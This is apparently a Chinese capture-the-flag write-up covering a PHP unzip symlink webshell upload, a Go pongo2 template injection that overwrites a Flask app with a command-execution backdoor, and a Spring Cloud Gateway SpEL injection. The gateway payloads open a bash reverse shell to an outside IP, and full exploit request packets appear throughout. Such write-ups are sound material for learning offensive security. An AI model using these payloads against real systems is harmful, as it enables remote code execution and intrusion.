0x02 question Unzip 1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );highlight_file (__FILE__ );$finfo = finfo_open (FILEINFO_MIME_TYPE);if (finfo_file ($finfo , $_FILES ["file" ]["tmp_name" ]) === 'application/zip' ){ exec ('cd /tmp && unzip -o ' . $_FILES ["file" ]["tmp_name" ]); };
拿到源码之后看到的就是
这里的unzip覆盖文件可以写入恶意木马,软链接即可
1 2 3 4 5 6 7 8 9 10 11 mkdir zip cd zip ln -s /var/www/html link zip --symlinks link.zip link # 这是软链接部分 rm link mkdir link cd link echo "<?php eval(\$_POST['a']); phpinfo(); ?>" > shell.php cd ../ zip -r shell.zip link
然后先上传link.zip
再上传shell.zip
就getshell了
go_session 一个go的SSTI,不会,现学,代码和人机一起慢慢看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package mainimport ( "github.com/gin-gonic/gin" "main/route" ) func main () { r := gin.Default() r.GET("/" , route.Index) r.GET("/admin" , route.Admin) r.GET("/flask" , route.Flask) r.Run("0.0.0.0:80" ) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 package routeimport ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" ) var store = sessions.NewCookieStore([]byte (os.Getenv("SESSION_KEY" )))func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { session.Values["name" ] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200 , "Hello, guest" ) } func Admin (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] != "admin" { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } name := c.DefaultQuery("name" , "ssti" ) xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!" ) if err != nil { panic (err) } out, err := tpl.Execute(pongo2.Context{"c" : c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200 , out) } func Flask (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { if err != nil { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name" , "guest" )) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) c.String(200 , string (body)) }
映入眼帘的就两个路由一个admin一个flask然后框架是pongo2
先拿到session准备伪造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 GET /admin?name={{g}} HTTP/1.1 Host : 5b479c2a-b5da-4fe2-a9cc-9f4290b59ebe.challenge.ctf.showCookie : cf_clearance=KcjzSGX28QAU_hrso.bynTyEoPjvPJlvYZUjqHbcOgI-1731670957-1.2.1.1-hY5lsEw8TD.Sg1EJZ5oJiTfSSburMyTpwJOpx6q6y6XI2vX59TlPLdJfH_PzRRhPzqBXwbmfu1zyoTfeKCD8398RBWdrfpjDmT9ml94kZMHtUC9KuLm1ET6vGb_hFPzvOrcnTaYEMPtuiAqFRXRrjvhxk22DY2z7CbXJradugMDh7fQRcvAbRqcv3Gqxtaey2WuHdNmmPiXo01E0nGw11DZ.o10opHlykwvu5PMUnnx2knj_KxBTre3Jlje.TEJBR.iHu12MWLJS8_vLUsNU3zpfX4tzGRTMdYhp3easZQZHWunOQ648ZjmHCrWjCKBLtq9hFV8s521UaXop36Tpub9rWUZgpKsViJ4EZJWYfuDmkqom8pfRpClMz2UaTZ_G; session-name=MTczMzI4NTk0N3xEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV2QxWlhOMHw72erPA0hWtl22vKUnj0uucA6wUNFLvG6SWVWMc1CIyA==Pragma : no-cacheCache-Control : no-cacheSec-Ch-Ua : "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : "Windows"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-Dest : documentAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Sec-Fetch-User : ?1Priority : u=0, iConnection : close
本来想问flask来伪造的,结果试试了这个框架好像确实是不太一样,那么就本地起一个环境来伪造了
配置一下go的环境 go
环境变量啥的大家肯定会这里写个折磨我的,就是代理,我搞了十来分钟其实最后就是很简单的两个命令
1 2 $ env :GOPROXY = "https://goproxy.cn" go env GOPROXY
如果设置成功了就行了
1 2 3 go mod tidy # 初始化依赖 go run main.go
成功拿到了
1 MTczMzI4Nzg0NHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXy6qWFSI2QLYMv2wCu-yo2yv1gPWlg9MKSCpy7ogDCghg==
那么再次看代码,哪里是SSTI的点
但是flask路由有啥用呢那,可以报错先
发现就这个不一样,其他的都是app.py
,我记得之前是有做到一道flask的题目可以直接覆盖文件,然后RCE,这里估计也差不多,那么寻找一下那个函数可以进行覆盖,回头看看这个源码
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flask, requestapp = Flask(__name__) @app.route('/' ) def index (): name = request.args.get('name' , 'Guest' ) return name + " no ssti" if __name__ == "__main__" : app.run(host="127.0.0.1" , port=5000 , debug=True )
开启了debug也是有机可乘的,热加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1 Host : 6831d804-b61a-4ebb-97d6-36b305e23c83.challenge.ctf.showReferer : /app/server.pyContent-Type : multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gWCookie : session-name=MTczMzI4Nzg0NHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXy6qWFSI2QLYMv2wCu-yo2yv1gPWlg9MKSCpy7ogDCghg==User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Connection : closeContent-Length : 428Content-Disposition: form-data; name ="n"; filename="server.py" Content-Type : test/plain from flask import *import osapp = Flask(__name__) @app.route('/' ) def index (): name = request.args['name' ] file=os.popen(name ).read () return file if __name__ == "__main__": app.run(host="0.0.0.0", port=5000 , debug =True )
这个包写了好久,原因就是正常的文件上传都是POST请求而这里如果是POST就直接变成404,后面发现GET反而可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 GET /flask?name=?name=cat${IFS}/th1s_1s_f13g HTTP/1.1 Host : 6831d804-b61a-4ebb-97d6-36b305e23c83.challenge.ctf.showCookie : KcjzSGX28QAU_hrso.bynTyEoPjvPJlvYZUjqHbcOgI-1731670957-1.2.1.1-hY5lsEw8TD.Sg1EJZ5oJiTfSSburMyTpwJOpx6q6y6XI2vX59TlPLdJfH_PzRRhPzqBXwbmfu1zyoTfeKCD8398RBWdrfpjDmT9ml94kZMHtUC9KuLm1ET6vGb_hFPzvOrcnTaYEMPtuiAqFRXRrjvhxk22DY2z7CbXJradugMDh7fQRcvAbRqcv3Gqxtaey2WuHdNmmPiXo01E0nGw11DZ.o10opHlykwvu5PMUnnx2knj_KxBTre3Jlje.TEJBR.iHu12MWLJS8_vLUsNU3zpfX4tzGRTMdYhp3easZQZHWunOQ648ZjmHCrWjCKBLtq9hFV8s521UaXop36Tpub9rWUZgpKsViJ4EZJWYfuDmkqom8pfRpClMz2UaTZ_G; session-name=MTczMzI5MDM1M3xEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV2QxWlhOMHwDnFNeN_6wcw8t3hy9pgTpQqiaYtjCKUJR3Oylpxe5gQ==Pragma : no-cacheCache-Control : no-cacheSec-Ch-Ua : "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : "Windows"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-Dest : documentAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Sec-Fetch-User : ?1Priority : u=0, iConnection : close
那么这个payload是从何而来的呢,首先我们知道框架为pongo2
那么他和Django是有部分一样的地方的,准确来说应该是语法一致,那么我们也就可以调用函数,函数怎么找呢,我们在打本地的时候知道了那几个重要的文件
1 2 3 go: downloading github.com/gin-gonic/gin v1.9.0 go: downloading github.com/flosch/pongo2/v6 v6.0.0 go: downloading github.com/gorilla/sessions v1.2.1
那么我们去找,在github里面的context.go
,其实也就是寻找函数了,不得不说果然文件的命名还是比较重要的
直接进来之后全局搜索file
其中这个FormFile要求了常见的上传文件数据包所需要的东西multipart 表单数据等等,那么这个就是解析文件的,再找一个上传文件的,原来这两个挨着的
那现在也就是要调用这两个方法,我们要明白这两个函数的参数是啥(零基础go所以做的麻烦)
1 2 3 4 5 6 7 func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string , perm ...fs.FileMode) error func (c *Context) FormFile(name string ) (*multipart.FileHeader, error )
1 2 3 4 5 6 7 8 9 10 {%include c.Request.Referer()%} {%include c.Request.Host()%} {{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}} {{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} {%set form=c.Query(c.HandlerName|first)%}{{c.SaveUploadedFile(c.FormFile(form),c.Request.Referer())}}&m=file {%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
仔细一看其实就是限定了Content-Disposition
头,那么这里就很好写包了,比如第一个可以这么写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}} HTTP/1.1 Host : baozongwiReferer : /app/server.pyContent-Type : multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gWCookie : session-name=MTczMzI4Nzg0NHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXy6qWFSI2QLYMv2wCu-yo2yv1gPWlg9MKSCpy7ogDCghg==User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Connection : closeContent-Length : 428Content-Disposition: form-data; name ="baozongwi"; filename="server.py" Content-Type : test/plain from flask import *import osapp = Flask(__name__) @app.route('/' ) def index (): name = request.args['name' ] file=os.popen(name ).read () return file if __name__ == "__main__": app.run(host="0.0.0.0", port=5000 , debug =True )
这道题还是很有意思的,学到了一些东西和技巧
BackendService 是一个java的题目,拿到源码先反编译
看到有这个配置,发现内部配置服务有个8848的gateway服务,id为backcfg
那我们可以直接覆盖弹shell
首先先进后台是个NDAY,创建用户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /v1/auth/users HTTP/1.1 Host : 0cdc2456-d45c-4861-a357-177da4d9e66a.challenge.ctf.showCookie : KcjzSGX28QAU_hrso.bynTyEoPjvPJlvYZUjqHbcOgI-1731670957-1.2.1.1-hY5lsEw8TD.Sg1EJZ5oJiTfSSburMyTpwJOpx6q6y6XI2vX59TlPLdJfH_PzRRhPzqBXwbmfu1zyoTfeKCD8398RBWdrfpjDmT9ml94kZMHtUC9KuLm1ET6vGb_hFPzvOrcnTaYEMPtuiAqFRXRrjvhxk22DY2z7CbXJradugMDh7fQRcvAbRqcv3Gqxtaey2WuHdNmmPiXo01E0nGw11DZ.o10opHlykwvu5PMUnnx2knj_KxBTre3Jlje.TEJBR.iHu12MWLJS8_vLUsNU3zpfX4tzGRTMdYhp3easZQZHWunOQ648ZjmHCrWjCKBLtq9hFV8s521UaXop36Tpub9rWUZgpKsViJ4EZJWYfuDmkqom8pfRpClMz2UaTZ_GContent-Length : 23Sec-Ch-Ua-Platform : "Windows"User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : application/json, text/plain, */*Sec-Ch-Ua : "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Content-Type : application/x-www-form-urlencodedSec-Ch-Ua-Mobile : ?0Origin : https://84645743-8bd6-4d0d-9550-c5c1a176a655.challenge.ctf.showSec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : https://84645743-8bd6-4d0d-9550-c5c1a176a655.challenge.ctf.show/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Priority : u=1, iConnection : closeusername =wi&password=wi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 spring: cloud: gateway: routes: - id: exam order: 0 uri: lb://service-provider predicates: - Path=/echo/** filters: - name: AddResponseHeader args: name: result value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/156.238.233.9/9999 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
打个NDAY找半天怎么放poc哈哈
或者是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 { "spring" : { "cloud" : { "gateway" : { "routes" : [ { "id" : "exam" , "order" : 0 , "uri" : "lb://service-provider" , "predicates" : [ "Path=/echo/**" ] , "filters" : [ { "name" : "AddResponseHeader" , "args" : { "name" : "result" , "value" : "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTYuMjM4LjIzMy45My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}\").getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}" } } ] } ] } } } }
然后就拿到shell了
deserbug CC3的一种新打法?寒假必打,现在就不学了思密达